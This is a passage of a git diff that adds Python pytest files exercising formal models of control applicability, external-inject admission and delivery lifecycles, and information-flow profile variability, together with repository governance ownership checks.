+ + +def test_narrow_request_may_use_a_broader_controller_grant() -> None: + state = replace(State(), grant_scope=frozenset({"node", "other-node"})) + assert apply(state, request(state, "narrow", "take"))[1] == "accepted" diff --git a/implementations/python/tests/test_issue_1352_control_applicability.py b/implementations/python/tests/test_issue_1352_control_applicability.py new file mode 100644 index 000000000..3461eebcb --- /dev/null +++ b/implementations/python/tests/test_issue_1352_control_applicability.py @@ -0,0 +1,185 @@ +"""Executable counterexamples for the #1352 semantic decision, not conformance.""" + +from dataclasses import FrozenInstanceError, replace +from itertools import permutations, product + +import control_applicability_model as m +import pytest +from sem235_modular_control_model import Result, Slot + + +def fact(node, predecessors, cut): + return Result(node.slot.ref, node.slot.kind, cut=cut) + + +def required(*slots, sink="in"): + return (m.Obligation("profile", frozenset({sink}), slots),) + + +def test_disjoint_sinks_preserve_apparatus_and_account_for_every_obligation(): + nodes = (m.Node(Slot("ingress", "fact")), m.Node(Slot("egress", "fact"), sinks=frozenset({"out"}))) + obligations = (*required("ingress"), m.Obligation("output-profile", frozenset({"out"}), ("egress",))) + for sink, active, inactive in (("in", "ingress", "output-profile"), ("out", "egress", "profile")): + result = m.evaluate(nodes, obligations, fact, sink=sink) + assert result.apparatus == nodes + assert result.applicable == (active,) + assert result.inapplicable == (inactive,) + assert not result.blockers + + +def test_missing_and_unresolved_coverage_never_become_empty_success(): + assert m.evaluate((), required("missing"), fact).blockers == ("coverage:profile",) + assert m.evaluate((), required(), fact).blockers == ("coverage:profile",) + unknown = (m.Obligation("profile", None, ()),) + assert m.evaluate((), unknown, fact).blockers == ("applicability:profile",) + node = m.Node(Slot("f", "fact"), sinks=None) + assert m.evaluate((node,), required("f"), fact).blockers + assert not m.evaluate((), required(sink="out"), fact).blockers + assert m.evaluate((), (), fact, incumbent=False).blockers == ("incumbent",) + + +def test_slot_invocation_carries_fresh_immutable_predecessors_back_to_provider_a(): + nodes = ( + m.Node(Slot("fact", "fact")), + m.Node(Slot("assessment", "advice", False, ("fact",)), provider="B"), + m.Node(Slot("rule", "decision", True, ("assessment",))), + ) + for ordering in permutations(nodes): + calls = [] + + def resolve(node, predecessors, cut, calls=calls): + calls.append((node.provider, node.slot.ref)) + if node.slot.ref == "fact": + assert predecessors == () + return Result("fact", "fact", cut=cut, payload="influence") + assert len(predecessors) == 1 + with pytest.raises(FrozenInstanceError): + predecessors[0].payload = "changed" + if node.slot.ref == "assessment": + assert predecessors[0].payload == "influence" + return Result("assessment", "advice", cut=cut, payload="deny") + assert predecessors[0].payload == "deny" + # Advice availability is required; its negative opinion is not a veto. + return Result("rule", "decision", cut=cut, payload="permit") + + result = m.evaluate(ordering, required("rule"), resolve) + assert calls == [("A", "fact"), ("B", "assessment"), ("A", "rule")] + assert result.required == frozenset({"fact", "assessment", "rule"}) + assert not result.blockers + + +@pytest.mark.parametrize("failure", ("missing", "failed", "stale", "wrong-slot", "wrong-kind", "exception")) +def test_optional_failures_are_isolated_but_required_dependencies_block(failure): + advice = m.Node(Slot("advice", "advice", False)) + + def resolve(node, predecessors, cut): + if node.slot.ref == "consumer": + pytest.fail("consumer must not run without its required input") + if failure == "exception": + raise ValueError("private rejected payload") + if failure == "missing": + return None + if failure == "wrong-slot": + return Result("forged", "advice") + if failure == "wrong-kind": + return Result("advice", "decision", payload="deny") + return Result("advice", "advice", status="failed" if failure == "failed" else "resolved", cut="K1") + + optional = m.evaluate((advice,), (), resolve) + assert not optional.blockers + assert optional.lost + assert "private" not in repr(optional) + consumer = m.Node(Slot("consumer", "decision", True, ("advice",))) + mandatory = m.evaluate((advice, consumer), required("consumer"), resolve) + assert mandatory.blockers + assert {r.slot for r in mandatory.results} == {"advice", "consumer"} + + +@pytest.mark.parametrize( + "loss,limit,accepted", ((0, 0, True), (1, 2, True), (2, 1, False), (1, 0, False), (None, 2, False)) +) +def test_support_must_satisfy_the_admitted_constraint(loss, limit, accepted): + node = m.Node(Slot("f", "fact"), loss=loss, allowed_loss=limit) + assert (not m.evaluate((node,), required("f"), fact).blockers) is accepted + optional = replace(node, slot=Slot("f", "advice", False)) + assert not m.evaluate((optional,), (), fact).blockers + + +def test_false_trigger_is_explicit_and_not_a_missing_mandatory_result(): + node = m.Node(Slot("rule", "request")) + + def resolved(node, predecessors, cut): + return Result(node.slot.ref, "request", cut=cut, payload="not-triggered") + + assert not m.evaluate((node,), required("rule"), resolved).blockers + assert m.evaluate((node,), required("rule"), lambda n, p, k: None).blockers + + +def test_slot_graph_rejects_cycles_unknown_edges_and_duplicate_slots(): + invalid = ( + (m.Node(Slot("a", "fact", dependencies=("a",))),), + (m.Node(Slot("a", "fact", dependencies=("absent",))),), + (m.Node(Slot("a", "fact")), m.Node(Slot("a", "fact"))), + ) + for nodes in invalid: + with pytest.raises(ValueError): + m.evaluate(nodes, (), fact) + + +@pytest.mark.parametrize( + "decision,phase", tuple(product(("deny", "withhold"), ("predecessor", "subsequent", "independent"))) +) +def test_parent_decision_cannot_be_weakened_by_phase(decision, phase): + legacy_target = m.Effect("parent-decision", decision, "parent", phase) + assert m.effect_decision(("permit",), (legacy_target,))[0] == decision + assert m.effect_decision((decision,), (m.Effect("prerequisite", phase="predecessor"),))[0] == decision + + +def test_independent_audit_has_its_own_authority_and_never_releases_denied_parent(): + audit = m.Effect("audit") + assert m.effect_decision(("deny",), (audit,)) == ("deny", ("audit",)) + for refused in ( + replace(audit, authorized=False), + replace(audit, supported=False), + replace(audit, accepts=frozenset()), + ): + assert m.effect_decision(("deny",), (refused,)) == ("deny", ()) + assert m.effect_decision(("permit",), (), incumbent=False)[0] != "permit" + + +def test_prerequisite_requires_fresh_parent_evaluation_and_success_consequence_waits(): + prerequisite = m.Effect("review", phase="predecessor") + after = m.Effect("followup", phase="subsequent") + assert m.effect_decision(("permit",), (prerequisite, after)) == ("withhold", ("review",)) + assert m.effect_decision(("permit",), (prerequisite, after), applied=frozenset({"review"})) == ("permit", ()) + assert m.effect_decision(("permit",), (after,), applied=frozenset({"parent"})) == ("permit", ("followup",)) + assert m.effect_decision(("deny",), (prerequisite,), applied=frozenset({"review"}))[0] == "deny" + assert m.effect_decision(("permit",), (replace(prerequisite, supported=False),))[0] == "withhold" + + +def test_combined_parent_effect_graph_rejects_phase_cycles(): + for effects in ( + (m.Effect("review", phase="predecessor", predecessors=("parent",)),), + (m.Effect("review", phase="predecessor", predecessors=("after",)), m.Effect("after", phase="subsequent")), + (m.Effect("audit", predecessors=("unknown",)),), + ): + with pytest.raises(ValueError): + m.effect_decision(("permit",), effects) + + +def test_atomic_commit_includes_scoped_state_decision_and_intent_or_nothing(): + initial = m.State(cells=(("participant:A", 0), ("participant:B", 0))) + writes = (m.Write("participant:A", 0, 1), m.Write("participant:B", 0, 2, "release")) + after, status = m.commit(initial, 0, "permit", writes, ("audit",)) + assert status == "committed" + assert after == m.State(1, (("participant:A", 1), ("participant:B", 2)), ("permit",), ("audit",)) + denied, _ = m.commit(initial, 0, "deny", writes, ("audit",)) + assert denied.cells == (("participant:A", 1), ("participant:B", 0)) + assert denied.history == ("deny",) + assert denied.intents == ("audit",) + assert m.commit(initial, 0, "permit", writes, succeeds=False)[0] == initial + assert m.commit(after, 0, "permit", writes)[0] == after + competing = (m.Write("participant:A", 0, 1), m.Write("participant:A", 0, 2)) + for order in permutations(competing): + assert m.commit(initial, 0, "permit", order) == (initial, "state-conflict") + assert m.commit(initial, 0, "permit", (m.Write("unknown-scope", 0, 1),))[0] == initial diff --git a/implementations/python/tests/test_issue_1352_governance.py b/implementations/python/tests/test_issue_1352_governance.py new file mode 100644 index 000000000..3df4330cd --- /dev/null +++ b/implementations/python/tests/test_issue_1352_governance.py @@ -0,0 +1,50 @@ +"""Exercise actual ownership and scope validation for the design publication.""" + +from paths import REPO_ROOT +from tools.policy.repository_requirements import RepositoryRequirementClient +from tools.policy.requirement_governance import evaluate_requirement_governance +from tools.policy.requirement_scope import evaluate_requirement_scope, load_requirement_scope + + +def test_applicability_publication_has_narrow_semantic_ownership(): + client = RepositoryRequirementClient(REPO_ROOT) + owned = [ + "specs/formal/participant-semantics/control-applicability-and-evaluation.md", + "implementations/python/tests/control_applicability_model.py", + "implementations/python/tests/test_issue_1352_control_applicability.py", + "implementations/python/tests/test_issue_1352_governance.py", + ] + assert evaluate_requirement_governance(REPO_ROOT, owned, client=client, requirement_uid="SEM-235") == [] + failures = evaluate_requirement_governance( + REPO_ROOT, + ["implementations/python/packages/raes_runtime/participant_control_orchestration.py"], + client=client, + requirement_uid="SEM-235", + ) + assert any(f.rule_id == "requirement-ownership-mismatch" for f in failures) + + +def test_contract_migration_has_contract_ownership(): + assert ( + evaluate_requirement_governance( + REPO_ROOT, + ["docs/migration/control-applicability-and-evaluation.md"], + client=RepositoryRequirementClient(REPO_ROOT), + requirement_uid="API-424", + ) + == [] + ) + + +def test_issue_scope_runs_every_owner_and_rejects_unassigned_runtime(): + scope = load_requirement_scope(REPO_ROOT, "1352-control-applicability-decisions") + client = RepositoryRequirementClient(REPO_ROOT) + assert scope is not None + assert evaluate_requirement_scope(REPO_ROOT, list(scope.bindings), client=client, scope=scope) == [] + failures = evaluate_requirement_scope( + REPO_ROOT, + ["implementations/python/packages/raes_runtime/participant_control_orchestration.py"], + client=client, + scope=scope, + ) + assert any(f.rule_id == "requirement-scope-unassigned" for f in failures) diff --git a/implementations/python/tests/test_issue_1353_external_inject_design.py b/implementations/python/tests/test_issue_1353_external_inject_design.py new file mode 100644 index 000000000..dcec7a73a --- /dev/null +++ b/implementations/python/tests/test_issue_1353_external_inject_design.py @@ -0,0 +1,503 @@ +"""Finite EI-01--EI-06 design relation; not a production trigger implementation. + +Trusted resolution, authentication, clocks, evidence validation and atomic store +transactions are inputs/assumptions. Tests falsify the projected claim/lifecycle +rules, not real HTTP, backend, persistence, delivery or security behavior. +""" + +from __future__ import annotations + +from dataclasses import dataclass, replace +from itertools import permutations, product + +import pytest +from raes.parser import parse_sdl +from raes_processor.compiler import compile_runtime_model + + +@dataclass(frozen=True) +class Request: + key: str = "k1" + occurrence: str = "o1" + actor: str = "researcher" + run: str = "r1" + plan: str = "p1" + inject: str = "release" + source: str = "artifact:resolved-1" + input_ref: str = "input:1" + targets: tuple[str, ...] = ("host:1",) + expected_head: int = 0 + order: int = 10 + slot: str | None = None + + +@dataclass(frozen=True) +class Cut: + """Already resolved live facts, not caller assertions or security checks.""" + + authorized: bool = True + supported: bool = True + assertion: bool | None = True + clock_valid: bool = True + input_valid: bool = True + ordered: bool = True + willing: bool = True + targets: tuple[str, ...] = ("host:1", "host:2") + capacity: int = 3 + + +@dataclass(frozen=True) +class Record: + request: Request + phase: str = "admitted" + dispatches: int = 0 + outcomes: tuple[tuple[str, str], ...] = () + + +@dataclass(frozen=True) +class State: + records: tuple[Record, ...] = () + history: tuple[tuple[str, str], ...] = () + head: int = 0 + last_order: int = 0 + deliveries: tuple[tuple[str, str, str | None], ...] = () + delivery_receipts: frozenset[tuple[str, str, str | None]] = frozenset() + observations: frozenset[str] = frozenset() + + +@dataclass(frozen=True) +class Evidence: + request: Request = Request() + generation: int = 1 + results: tuple[tuple[str, str, str], ...] = (("host:1", "applied", "readback"),) + + +DEFAULT_CUT = Cut() +DEFAULT_REQUEST = Request() +EMPTY_STATE = State() + + +def dispatch(state: State, cut: Cut = DEFAULT_CUT, *, commit: bool = True) -> tuple[State, int]: + if not state.records or state.records[-1].phase != "admitted" or not commit: + return state, 0 + record = state.records[-1] + eligible = ( + cut.authorized + and cut.supported + and cut.assertion is True + and cut.clock_valid + and cut.input_valid + and cut.willing + and set(record.request.targets) <= set(cut.targets) + and len(state.records) <= cut.capacity + ) + phase = "running" if eligible else "withdrawn" + return update_record(state, replace(record, phase=phase, dispatches=int(eligible))), int(eligible) + + +def settle(state: State, evidence: Evidence | None, *, commit: bool = True) -> State: + if not state.records or state.records[-1].phase != "running" or not commit: + return state + record = state.records[-1] + outcomes = tuple((target, "unknown") for target in record.request.targets) + if evidence is not None and evidence.request == record.request and evidence.generation == 1: + reported = [target for target, _, _ in evidence.results] + if len(reported) == len(set(reported)) and set(reported) <= set(record.request.targets): + valid = {("applied", "readback"), ("absent", "cessation"), ("unknown", "unresolved")} + by_target = { + target: outcome if (outcome, basis) in valid else "unknown" + for target, outcome, basis in evidence.results + } + outcomes = tuple((target, by_target.get(target, "unknown")) for target in record.request.targets) + values = {outcome for _, outcome in outcomes} + if "unknown" in values: + phase = "indeterminate" + elif values == {"applied"}: + phase = "effect-applied" + elif values == {"absent"}: + phase = "effect-absent" + else: + phase = "known-partial" + return update_record(state, replace(record, phase=phase, outcomes=outcomes)) + + +def update_record(state: State, record: Record) -> State: + """Projection of an atomic snapshot/outcome/audit transaction.""" + return replace( + state, + records=(*state.records[:-1], record), + head=state.head + 1, + history=(*state.history, (record.request.occurrence, record.phase)), + ) + + +def reserve_delivery( + state: State, + *, + result_occurrence: str = "o1", + binding: str = "briefing", + control: str | None = None, + expected_control: str | None = None, + authorized: bool = True, +) -> tuple[State, str]: + if not authorized or control != expected_control or not state.records: + return state, "denied" + record = state.records[-1] + if record.phase != "effect-applied" or result_occurrence != record.request.occurrence: + return state, "denied" + claim = (result_occurrence, binding, control) + for previous in state.deliveries: + if previous == claim: + return state, "retry" + if control is not None and (previous[1], previous[2]) == (binding, control): + return state, "delivery-conflict" + return replace(state, deliveries=(*state.deliveries, claim)), "reserved" + + +def delivery_receipt(state: State, claim: tuple[str, str, str | None], basis: str) -> State: + if claim not in state.deliveries or basis != "sink-ack": + return state + return replace(state, delivery_receipts=state.delivery_receipts | {claim}) + + +def composed_success(state: State, required_delivery: tuple[str, str, str | None] | None = None) -> bool: + return bool( + state.records + and state.records[-1].phase == "effect-applied" + and ( + required_delivery is None + or ( + required_delivery[0] == state.records[-1].request.occurrence + and required_delivery in state.delivery_receipts + ) + ) + ) + + +def admit(state: State, request: Request, cut: Cut = DEFAULT_CUT, *, commit: bool = True) -> tuple[State, str]: + """One store/run/operation kind; resolver and ordering authority are inputs.""" + if not cut.authorized: + return state, "unauthorized" + if type(request.order) is not int or type(request.expected_head) is not int: + return state, "invalid-coordinates" + for record in state.records: + previous = record.request + if (previous.actor, previous.key) == (request.actor, request.key): + return state, "retry" if previous == request else "key-conflict" + if previous.occurrence == request.occurrence: + return state, "occurrence-conflict" + if request.slot is not None and previous.slot == request.slot: + return state, "slot-conflict" + if not (cut.supported and cut.assertion is True and cut.clock_valid and cut.input_valid and cut.ordered): + return state, "ineligible" + if len(state.records) >= cut.capacity: + return state, "capacity" + if (request.run, request.plan, request.inject, request.source) != ("r1", "p1", "release", "artifact:resolved-1"): + return state, "binding" + if ( + not request.targets + or len(set(request.targets)) != len(request.targets) + or not set(request.targets) <= set(cut.targets) + ): + return state, "targets" + if request.expected_head != state.head or request.order <= state.last_order: + return state, "stale-or-order" + if not commit: + return state, "commit-failed" + return replace( + state, + records=(*state.records, Record(request)), + history=(*state.history, (request.occurrence, "admitted")), + head=state.head + 1, + last_order=request.order, + ), "admitted" + + +def admitted(request: Request = DEFAULT_REQUEST, state: State = EMPTY_STATE) -> State: + state, result = admit(state, request) + assert result == "admitted" + return state + + +def test_researcher_claim_needs_no_participant_or_control_occurrence() -> None: + state, result = admit(State(), Request()) + assert result == "admitted" + assert state.records == (Record(Request()),) + assert state.history == (("o1", "admitted"),) + + +@pytest.mark.parametrize( + "change", + [ + {"authorized": False}, + {"supported": False}, + {"assertion": False}, + {"assertion": None}, + {"clock_valid": False}, + {"input_valid": False}, + {"ordered": False}, + {"capacity": 0}, + {"targets": ()}, + ], +) +def test_unresolved_admission_has_no_claim_or_dispatch(change: dict) -> None: + state, result = admit(State(), Request(), replace(Cut(), **change)) + assert result != "admitted" + assert state == State() + + +@pytest.mark.parametrize( + "change", + [ + {"run": "r2"}, + {"plan": "p2"}, + {"inject": "missing"}, + {"source": "artifact:floating"}, + {"targets": ()}, + {"targets": ("host:3",)}, + {"targets": ("host:1", "host:1")}, + {"expected_head": 1}, + {"expected_head": False}, + {"order": 0}, + {"order": True}, + ], +) +def test_stale_ambiguous_or_unbound_request_is_not_admitted(change: dict) -> None: + state, result = admit(State(), replace(Request(), **change)) + assert result != "admitted" + assert state == State() + + +def test_retry_uses_original_claim_without_fresh_admission() -> None: + state = admitted() + assert admit(state, Request(), Cut(assertion=False, supported=False)) == (state, "retry") + assert admit(state, Request(), Cut(authorized=False)) == (state, "unauthorized") + assert admit(state, replace(Request(), input_ref="input:2")) == (state, "key-conflict") + assert admit(state, replace(Request(), key="k2")) == (state, "occurrence-conflict") + assert admit(state, replace(Request(), actor="other")) == (state, "occurrence-conflict") + + +@pytest.mark.parametrize("change", [{"expected_head": False}, {"order": 10.0}]) +def test_retry_cannot_coerce_changed_coordinate_types(change: dict) -> None: + state = admitted() + assert admit(state, replace(Request(), **change))[1] != "retry" + + +def test_fresh_repeat_and_schedule_slot_have_independent_identity() -> None: + first = Request(slot="schedule:1") + state = admitted(first) + second = replace(first, key="k2", occurrence="o2", expected_head=1, order=20) + assert admit(state, second) == (state, "slot-conflict") + repeated = admitted(replace(second, slot=None), state) + assert len(repeated.records) == 2 + assert repeated.last_order == 20 + + +def test_ordered_competitors_revalidate_without_rebasing() -> None: + first = Request() + second = replace(first, key="scheduled", occurrence="o2", order=20, slot="schedule:1") + for arrival in permutations((first, second)): + state = State() + results = [] + for candidate in sorted(arrival, key=lambda item: item.order): + state, result = admit(state, candidate) + results.append(result) + assert results == ["admitted", "stale-or-order"] + assert state.records[0].request == first + + +def test_failed_claim_commit_has_no_visible_state() -> None: + assert admit(State(), Request(), commit=False) == (State(), "commit-failed") + + +def test_existing_authoring_compiles_without_participants_or_schedule() -> None: + scenario = parse_sdl("""name: external-trigger-design +nodes: + host: + type: compute + resources: {ram: 1 gib, cpu: 1} +injects: + release: {} +events: + gate: + injects: [release] +""") + model = compile_runtime_model(scenario) + assert not model.diagnostics + assert not model.agent_specs + assert not model.participant_behaviors + assert not model.participant_inject_deliveries + assert not model.scripts + assert not model.stories + assert model.events["orchestration.event.gate"].inject_addresses == ("orchestration.inject.release",) + + +def running(request: Request = DEFAULT_REQUEST) -> State: + state, calls = dispatch(admitted(request)) + assert calls == 1 + assert state.records[-1].phase == "running" + return state + + +@pytest.mark.parametrize( + "change", + [ + {"authorized": False}, + {"assertion": None}, + {"supported": False}, + {"willing": False}, + {"clock_valid": False}, + {"targets": ()}, + ], +) +def test_queued_work_revalidates_and_withdraws_without_dispatch(change: dict) -> None: + state, calls = dispatch(admitted(), replace(Cut(), **change)) + assert calls == 0 + assert state.records[-1].phase == "withdrawn" + assert admit(state, Request()) == (state, "retry") + + +def test_running_intent_must_commit_before_backend_invocation() -> None: + state = admitted() + assert dispatch(state, commit=False) == (state, 0) + active = running() + assert dispatch(active) == (active, 0) + + +@pytest.mark.parametrize( + ("outcomes", "expected"), + [ + (("applied", "applied"), "effect-applied"), + (("absent", "absent"), "effect-absent"), + (("applied", "absent"), "known-partial"), + (("applied", "unknown"), "indeterminate"), + ], +) +def test_fanout_retains_per_target_outcomes(outcomes: tuple[str, str], expected: str) -> None: + request = Request(targets=("host:1", "host:2")) + basis = {"applied": "readback", "absent": "cessation", "unknown": "unresolved"} + evidence = Evidence( + request, + results=tuple( + (target, outcome, basis[outcome]) for target, outcome in zip(request.targets, outcomes, strict=True) + ), + ) + state = settle(running(request), evidence) + assert state.records[-1].phase == expected + assert state.records[-1].outcomes == tuple(zip(request.targets, outcomes, strict=True)) + + +@pytest.mark.parametrize( + "evidence", + [ + None, + Evidence(generation=2), + Evidence(request=Request(input_ref="changed")), + Evidence(results=()), + Evidence(results=(("host:2", "applied", "readback"),)), + Evidence(results=(("host:1", "applied", "queued"),)), + Evidence(results=(("host:1", "absent", "cancel-ack"),)), + ], +) +def test_missing_or_invalid_effect_evidence_stays_indeterminate(evidence: Evidence | None) -> None: + state = settle(running(), evidence) + assert state.records[-1].phase == "indeterminate" + assert state.records[-1].dispatches == 1 + assert dispatch(state) == (state, 0) + assert admit(state, Request()) == (state, "retry") + + +def test_crash_after_effect_before_commit_never_replays_and_late_evidence_cannot_rewrite() -> None: + state = running() + assert settle(state, Evidence(), commit=False) == state + uncertain = settle(state, None) + assert uncertain.records[-1].phase == "indeterminate" + assert settle(uncertain, Evidence()) == uncertain + assert dispatch(uncertain) == (uncertain, 0) + assert admit(uncertain, replace(Request(), key="new")) == (uncertain, "occurrence-conflict") + + +def test_delivery_reservation_requires_exact_result_and_control_without_refiring() -> None: + state = settle(running(), Evidence()) + for changes in ( + {"authorized": False}, + {"result_occurrence": "other"}, + {"control": "edge"}, + {"control": "c2", "expected_control": "c1"}, + ): + rejected, status = reserve_delivery(state, **changes) + assert rejected == state + assert status == "denied" + reserved, status = reserve_delivery(state, control="c1", expected_control="c1") + assert status == "reserved" + assert reserved.records == state.records + assert reserve_delivery(reserved, control="c1", expected_control="c1") == (reserved, "retry") + # A reservation surviving lost acknowledgment cannot claim actual observation + # or become available again merely because a client retries it. + assert reserved.deliveries == (("o1", "briefing", "c1"),) + + +def test_world_effect_failure_cannot_supply_a_successful_delivery_result() -> None: + state = settle(running(), None) + assert reserve_delivery(state) == (state, "denied") + + +def test_bounded_retry_and_dispatch_sequences_preserve_claims_and_single_invocation() -> None: + for actions in product(("retry", "changed-key", "dispatch", "lost-result"), repeat=4): + state = admitted() + calls = 0 + for action in actions: + history = state.history + if action == "retry": + state, _ = admit(state, Request()) + elif action == "changed-key": + state, _ = admit(state, Request(key="k2")) + elif action == "dispatch": + state, count = dispatch(state) + calls += count + else: + state = settle(state, None) + assert state.history[: len(history)] == history + assert len(state.records) == 1 + assert state.records[0].request == Request() + assert calls <= 1 + + +def test_required_delivery_withholds_composed_success_without_undoing_world_effect() -> None: + state = settle(running(), Evidence()) + claim = ("o1", "briefing", None) + assert composed_success(state) + assert not composed_success(state, claim) + state, result = reserve_delivery(state) + assert result == "reserved" + assert not composed_success(state, claim) + assert delivery_receipt(state, claim, "queued") == state + assert delivery_receipt(state, ("o2", "briefing", None), "sink-ack") == state + delivered = delivery_receipt(state, claim, "sink-ack") + assert composed_success(delivered, claim) + assert delivered.records == state.records + assert not delivered.observations + + +def test_delivery_pair_cannot_be_reclaimed_by_a_second_world_occurrence() -> None: + state = settle(running(), Evidence()) + state, _ = reserve_delivery(state, control="c1", expected_control="c1") + request = Request(key="k2", occurrence="o2", expected_head=state.head, order=20) + state = admitted(request, state) + state, _ = dispatch(state) + state = settle(state, Evidence(request)) + assert reserve_delivery(state, result_occurrence="o2", control="c1", expected_control="c1") == ( + state, + "delivery-conflict", + ) + + +def test_old_delivery_receipt_cannot_complete_a_fresh_occurrence() -> None: + state = settle(running(), Evidence()) + state, _ = reserve_delivery(state) + claim = ("o1", "briefing", None) + state = delivery_receipt(state, claim, "sink-ack") + request = Request(key="k2", occurrence="o2", expected_head=state.head, order=20) + state, _ = dispatch(admitted(request, state)) + state = settle(state, Evidence(request)) + assert not composed_success(state, claim) diff --git a/implementations/python/tests/test_issue_1354_governance.py b/implementations/python/tests/test_issue_1354_governance.py new file mode 100644 index 000000000..902f5697f --- /dev/null +++ b/implementations/python/tests/test_issue_1354_governance.py @@ -0,0 +1,38 @@ +"""Exercise the real governance consumer for the IFC semantic publication.""" + +from paths import REPO_ROOT +from tools.policy.repository_requirements import RepositoryRequirementClient +from tools.policy.requirement_governance import evaluate_requirement_governance +from tools.policy.requirement_scope import evaluate_requirement_scope, load_requirement_scope + + +def test_ifc_publication_has_exact_semantic_ownership(): + client = RepositoryRequirementClient(REPO_ROOT) + paths = [ + "docs/decisions/issue-1354-ifc-profile-variability-preflight.md", + "specs/formal/participant-semantics/ifc-profile-variability.md", + "implementations/python/tests/ifc_profile_variability_model.py", + "implementations/python/tests/test_issue_1354_ifc_profile_variability.py", + ] + assert evaluate_requirement_governance(REPO_ROOT, paths, client=client, requirement_uid="SEM-235") == [] + failures = evaluate_requirement_governance( + REPO_ROOT, + ["implementations/python/packages/raes_runtime/participant_control_orchestration.py"], + client=client, + requirement_uid="SEM-235", + ) + assert any(f.rule_id == "requirement-ownership-mismatch" for f in failures) + + +def test_issue_scope_validates_both_owners_without_runtime_authority(): + scope = load_requirement_scope(REPO_ROOT, "1354-ifc-profile-variability") + assert scope is not None + client = RepositoryRequirementClient(REPO_ROOT) + assert evaluate_requirement_scope(REPO_ROOT, list(scope.bindings), client=client, scope=scope) == [] + failures = evaluate_requirement_scope( + REPO_ROOT, + ["implementations/python/packages/raes_runtime/participant_control_orchestration.py"], + client=client, + scope=scope, + ) + assert any(f.rule_id == "requirement-scope-unassigned" for f in failures) diff --git a/implementations/python/tests/test_issue_1354_ifc_profile_variability.py b/implementations/python/tests/test_issue_1354_ifc_profile_variability.py new file mode 100644 index 000000000..13fcc0b24 --- /dev/null +++ b/implementations/python/tests/test_issue_1354_ifc_profile_variability.py @@ -0,0 +1,290 @@ +"""Bounded #1354 witnesses; synthetic owner profiles are not published support.""" + +from dataclasses import replace + +import pytest +from ifc_profile_variability_model import ( + Encoding, + Grant, + Requirement, + Support, + admit, + check_execution, + release, +) +from jsonschema import Draft202012Validator +from raes_contracts.contracts import ParticipantBoundaryFlowPolicyProfileModel, schema_bundle +from raes_contracts.participant_flow_policy_profiles import load_participant_boundary_flow_policy_profile +from sem233_boundary_flow_model import ( + FlowGateState, + FlowOperation, + FlowProfile, + FlowValue, + SinkPolicy, + UnsupportedFlow, + carry, + derive, + may_flow_at_sink, +) + +PROFILE = FlowProfile( + "example-owner-ifc", + "rev1", + "ifc-profile-variability/rev1", + frozenset({"conf:A", "conf:B", "conf:deny-unresolved"}), + frozenset({"int:A", "int:B", "int:deny-unresolved"}), +) +ENCODING = Encoding(PROFILE, (("A", "conf:A"), ("B", "conf:B")), (("A", "int:A"), ("B", "int:B"))) +REQUIREMENT = Requirement( + frozenset({"A", "B"}), + frozenset({"A", "B"}), + frozenset({"source:A", "source:B", "flow:memory", "sink:action"}), + frozenset({"explicit-boundary-flow"}), +) +SUPPORT = Support(ENCODING.pin, "configuration:1", REQUIREMENT.coverage, REQUIREMENT.guarantees) +GRANT_A = Grant( + "authority:A", + frozenset({"conf:A"}), + frozenset({"int:A"}), + "sink:action", + "cut:1", + "summary:AB", + (PROFILE.profile_id, PROFILE.profile_revision), +) + + +def value(owner): + return FlowValue( + f"value:{owner}", + PROFILE.label(confidentiality={f"conf:{owner}"}, integrity={f"int:{owner}"}), + frozenset({f"source:{owner}"}), + frozenset({f"writer:{owner}"}), + "participant:1", + "episode:1", + "policy:1", + "rev1", + "cut:1", + ) + + +def combined(): + return derive( + PROFILE, + result_ref="summary:AB", + inputs=(value("A"), value("B")), + participant_ref="participant:1", + episode_ref="episode:1", + policy_ref="policy:1", + policy_revision="rev1", + state_cut_ref="cut:1", + ) + + +def sink(confidentiality, integrity): + return SinkPolicy( + "sink:action", + "destination:1", + PROFILE.profile_id, + "rev1", + "policy:1", + "rev1", + "cut:1", + frozenset(confidentiality), + frozenset(integrity), + ) + + +def test_finite_owner_encoding_admits_only_evidenced_coverage(): + assert admit(REQUIREMENT, ENCODING, SUPPORT) == SUPPORT + for missing in REQUIREMENT.coverage: + incomplete = replace(SUPPORT, coverage=SUPPORT.coverage - {missing}) + with pytest.raises(UnsupportedFlow, match="realization"): + admit(REQUIREMENT, ENCODING, incomplete) + unresolved = replace(SUPPORT, resolved=False) + with pytest.raises(UnsupportedFlow, match="realization"): + admit(REQUIREMENT, ENCODING, unresolved) + no_guarantees = replace(SUPPORT, guarantees=frozenset()) + with pytest.raises(UnsupportedFlow, match="realization"): + admit(REQUIREMENT, ENCODING, no_guarantees) + + +@pytest.mark.parametrize("coordinate,prefix", [("confidentiality", "conf"), ("integrity", "int")]) +@pytest.mark.parametrize("bad_mapping", ["collapsed", "missing", "unknown", "unresolved", "duplicate"]) +def test_independent_obligations_cannot_be_collapsed_or_invented(coordinate, prefix, bad_mapping): + maps = { + "collapsed": (("A", f"{prefix}:A"), ("B", f"{prefix}:A")), + "missing": (("A", f"{prefix}:A"),), + "unknown": (("A", f"{prefix}:A"), ("B", f"{prefix}:C")), + "unresolved": (("A", f"{prefix}:A"), ("B", f"{prefix}:deny-unresolved")), + "duplicate": (("A", f"{prefix}:A"), ("A", f"{prefix}:B"), ("B", f"{prefix}:B")), + } + invalid_encoding = replace(ENCODING, **{coordinate: maps[bad_mapping]}) + with pytest.raises(UnsupportedFlow, match="expression"): + admit(REQUIREMENT, invalid_encoding, SUPPORT) + + +def test_admitted_bounded_guarantee_is_distinct_from_unexpected_weakening(): + bounded = admit(REQUIREMENT, ENCODING, SUPPORT) + assert check_execution(bounded, SUPPORT) == "resolved" + stronger = replace(SUPPORT, guarantees=SUPPORT.guarantees | {"extra-instrumentation"}) + admitted_stronger = admit(REQUIREMENT, ENCODING, stronger) + # Still meeting the author's floor does not erase an admitted promise. + assert check_execution(admitted_stronger, SUPPORT) == "weakened" + assert check_execution(bounded, replace(SUPPORT, coverage=SUPPORT.coverage - {"flow:memory"})) == "weakened" + exact_required = replace(REQUIREMENT, guarantees=stronger.guarantees) + with pytest.raises(UnsupportedFlow, match="realization"): + admit(exact_required, ENCODING, SUPPORT) + + +@pytest.mark.parametrize( + "change", + [ + {"profile_pin": ("another-profile", "rev1", "digest:example")}, + {"configuration": "configuration:2"}, + {"resolved": False}, + ], +) +def test_changed_or_unresolved_binding_requires_new_admission(change): + changed_support = replace(SUPPORT, **change) + assert check_execution(SUPPORT, changed_support) == "unsupported" + if "profile_pin" in change: + with pytest.raises(UnsupportedFlow, match="realization"): + admit(REQUIREMENT, ENCODING, changed_support) + + +@pytest.mark.parametrize( + "reader,obligations,expected", + [ + ("Alice", {"conf:A"}, False), + ("Bob", {"conf:A", 